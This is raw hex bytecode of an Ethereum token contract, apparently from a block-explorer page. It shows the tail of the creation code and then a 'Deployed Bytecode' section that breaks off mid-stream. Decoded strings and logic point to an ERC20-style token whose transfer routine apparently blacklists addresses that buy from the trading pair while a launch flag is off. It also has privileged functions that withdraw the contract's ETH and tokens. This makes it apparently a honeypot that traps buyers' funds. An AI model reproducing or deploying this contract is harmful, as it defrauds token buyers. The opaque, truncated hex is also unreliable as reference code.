06114b26113fc611ab2565b846114ad85604051806060016040528060258152602001612ea560259139600f6000611426611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b611aba565b6001905092915050565b60006114d06114c9611ab2565b8484611cb1565b6001905092915050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115705780601f1061154557610100808354040283529160200191611570565b820191906000526020600020905b81548152906001019060200180831161155357829003601f168201915b505050505081565b61158133611a5c565b6115f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b606481111561164d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eca6024913960400191505060405180910390fd5b8060088190555050565b61166033611a5c565b6116d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117ab5780601f10611780576101008083540402835291602001916117ab565b820191906000526020600020905b81548152906001019060200180831161178e57829003601f168201915b505050505081565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61186333611a5c565b6118d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194657600080fd5b505af115801561195a573d6000803e3d6000fd5b505050506040513d602081101561197057600080fd5b8101908080519060200190929190505050505050565b61198f33611a5c565b611a01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e816024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612d876022913960400191505060405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612e5c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612d426023913960400191505060405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ecf57600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ece576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f596f752061726520626c61636b6c69737465640000000000000000000000000081525060200191505060405180910390fd5b5b601160009054906101000a900460ff16158015611f395750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611f8f5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fe95750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120435750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120a1576001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6120a9611324565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211757506120e7611324565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561216d5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121a7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122015750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561223957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561232257600a548111156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006122c183611059565b9050600b548282011115612320576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612dcf6023913960400191505060405180910390fd5b505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561238b5750600960149054906101000a900460ff165b80156123ca575061239a611324565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124245750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124335750600060085414155b156126365760006124636103e86124556008548561292d90919063ffffffff16565b6129b390919063ffffffff16565b9050600061247a82846129fd90919063ffffffff16565b90506124868583612a47565b6124f281604051806060016040528060268152602001612da960269139600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061258781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350506127e0565b6126a281604051806060016040528060268152602001612da960269139600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061273781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b6000838311158290612892576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561285757808201518184015260208101905061283c565b50505050905090810190601f1680156128845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083141561294057600090506129ad565b600082840290508284828161295157fe5b04146129a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612df26021913960400191505060405180910390fd5b809150505b92915050565b60006129f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c7b565b905092915050565b6000612a3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127e5565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612e3b6021913960400191505060405180910390fd5b612b3981604051806060016040528060228152602001612d6560229139600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bce81600e60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600e60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290612d27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612cec578082015181840152602081019050612cd1565b50505050905090810190601f168015612d195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d3357fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4275726e50657263656e742063616e206e6f74206265206d6f7265207468616e20313025a2646970667358221220c49abcff0cc43c5840b73cb5d31411a0baa4811d8ef857384c3730eabc7d1f2764736f6c63430007060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638b42507f11610104578063bc3f4f54116100a2578063dd62ed3e11610071578063dd62ed3e1461094f578063dec2ba0f146109c7578063f84ba65d14610a15578063fe9fbb8014610a65576101da565b8063bc3f4f541461080e578063c816841b1461083e578063d28d885214610872578063dbac26e9146108f5576101da565b8063a457c2d7116100de578063a457c2d714610695578063a9059cbb146106f9578063b09f12661461075d578063bb1570da146107e0576101da565b80638b42507f146105845780638da5cb5b146105de57806395d89b4114610612576101da565b806333596f501161017c57806366312e9a1161014b57806366312e9a146104fa57806370a0823114610518578063715018a61461057057806382db09b61461057a576101da565b806333596f5014610462578063395093511461046c578063398be159146104d05780635b7c8210146104da576101da565b806318160ddd116101b857806318160ddd1461037e57806323b872dd1461039c578063313ce5671461042057806332424aa314610441576101da565b806306fdde03146101df578063095ea7b3146102625780630ba6a861146102c6575b600080fd5b6101e7610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b61037c600480360360208110156102dc57600080fd5b81019080803590602001906401000000008111156102f957600080fd5b82018360208201111561030b57600080fd5b8035906020019184602083028401116401000000008311171561032d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610b7f565b005b610386610cd7565b6040518082815260200191505060405180910390f35b610408600480360360608110156103b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce1565b60405180821515815260200191505060405180910390f35b610428610dba565b604051808260ff16815260200191505060405180910390f35b610449610dd1565b604051808260ff16815260200191505060405180910390f35b61046a610de4565b005b6104b86004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b60405180821515815260200191505060405180910390f35b6104d8610f5b565b005b6104e2611040565b60405180821515815260200191505060405180910390f35b610502611053565b6040518082815260200191505060405180910390f35b61055a6004803603602081101561052e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611059565b6040518082815260200191505060405180910390f35b6105786110a2565b005b610582611228565b005b6105c66004803603602081101561059a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611304565b60405180821515815260200191505060405180910390f35b6105e6611324565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061a61134d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065a57808201518184015260208101905061063f565b50505050905090810190601f1680156106875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e1600480360360408110156106ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ef565b60405180821515815260200191505060405180910390f35b6107456004803603604081101561070f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114bc565b60405180821515815260200191505060405180910390f35b6107656114da565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107a557808201518184015260208101905061078a565b50505050905090810190601f1680156107d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61080c600480360360208110156107f657600080fd5b8101908080359060200190929190505050611578565b005b61083c6004803603602081101561082457600080fd5b81019080803515159060200190929190505050611657565b005b6108466116ef565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61087a611715565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108ba57808201518184015260208101905061089f565b50505050905090810190601f1680156108e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109376004803603602081101561090b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b3565b60405180821515815260200191505060405180910390f35b6109b16004803603604081101561096557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d3565b6040518082815260200191505060405180910390f35b610a13600480360360408110156109dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061185a565b005b610a6360048036036040811015610a2b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611986565b005b610aa760048036036020811015610a7b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5c565b60405180821515815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e611ab2565b8484611aba565b6001905092915050565b610b87611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518161ffff161015610cd3576000600d6000848461ffff1681518110610c6d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c4a565b5050565b6000600754905090565b6000610cee848484611cb1565b610daf84610cfa611ab2565b610daa85604051806060016040528060288152602001612e1360289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d60611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b611aba565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600660009054906101000a900460ff1681565b610ded33611a5c565b610e5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ea5573d6000803e3d6000fd5b50565b6000610f51610eb5611ab2565b84610f4c85600f6000610ec6611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b611aba565b6001905092915050565b610f63611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001601160006101000a81548160ff021916908315150217905550565b600960149054906101000a900460ff1681565b60085481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110aa611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611230611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600754600a81905550600754600b81905550565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113e55780601f106113ba576101008083540402835291602001916113e5565b820191906000526020600020905b8154815290600101906020018083116113c857829003601f168201915b5050505050905090565b60006114b26113fc611ab2565b846114ad85604051806060016040528060258152602001612ea560259139600f6000611426611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b611aba565b6001905092915050565b60006114d06114c9611ab2565b8484611cb1565b6001905092915050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115705780601f1061154557610100808354040283529160200191611570565b820191906000526020600020905b81548152906001019060200180831161155357829003601f168201915b505050505081565b61158133611a5c565b6115f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b606481111561164d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eca6024913960400191505060405180910390fd5b8060088190555050565b61166033611a5c565b6116d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117ab5780601f10611780576101008083540402835291602001916117ab565b820191906000526020600020905b81548152906001019060200180831161178e57829003601f168201915b505050505081565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61186333611a5c565b6118d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194657600080fd5b505af115801561195a573d6000803e3d6000fd5b505050506040513d602081101561197057600080fd5b8101908080519060200190929190505050505050565b61198f33611a5c565b611a01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e816024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612d876022913960400191505060405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612e5c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612d426023913960400191505060405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ecf57600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ece576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f596f752061726520626c61636b6c69737465640000000000000000000000000081525060200191505060405180910390fd5b5b601160009054906101000a900460ff16158015611f395750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611f8f5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fe95750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120435750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120a1576001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6120a9611324565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211757506120e7611324565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561216d5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121a7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122015750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561223957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561232257600a548111156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006122c183611059565b9050600b548282011115612320576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612dcf6023913960400191505060405180910390fd5b505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561238b5750600960149054906101000a900460ff165b80156123ca575061239a611324565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124245750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124335750600060085414155b156126365760006124636103e86124556008548561292d90919063ffffffff16565b6129b390919063ffffffff16565b9050600061247a82846129fd90919063ffffffff16565b90506124868583612a47565b6124f281604051806060016040528060268152602001612da960269139600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061258781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350506127e0565b6126a281604051806060016040528060268152602001612da960269139600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e59092919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061273781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c8